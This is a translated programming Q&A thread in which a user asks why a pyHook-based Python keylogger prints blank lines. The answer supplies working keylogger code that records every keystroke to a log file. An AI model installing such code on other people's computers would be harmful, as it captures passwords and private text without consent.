我写了一个键盘记录器,但它没有正确打印。如果我告诉它打印事件,ASCII解码(print(event.Ascii)
),它会打印出该键的Ascii数值。但如果我告诉它print(chr(event.Ascii))
它只打印一个空行。为什么这样,我该如何解决?
完整代码:
import pyHook, pythoncom, sys, logging
file_log = "log.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
print(chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
答案 0 :(得分:0)
这对我有用:
import pyHook
import pythoncom
import time
log = open('log.txt', 'w')
result = ''
def OnKeyboardEvent(event):
global result
if event.Ascii != 13:
result += chr(event.Ascii)
else:
log.write("%s\r\n" % result)
log.flush()
result = ''
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
while True:
pythoncom.PumpWaitingMessages()
time.sleep(0.01)
except KeyboardInterrupt:
print "Keyboard interrupt"
它在日志文件中写入了一行文本。它的另一个优点是它可以被Ctrl+C
停止。我不确定为什么你的代码不起作用。但是,您可以尝试example.py
附带的pyHook
脚本。
注意:通常情况下,我会尽量避免使用全局变量,但这会缩短代码。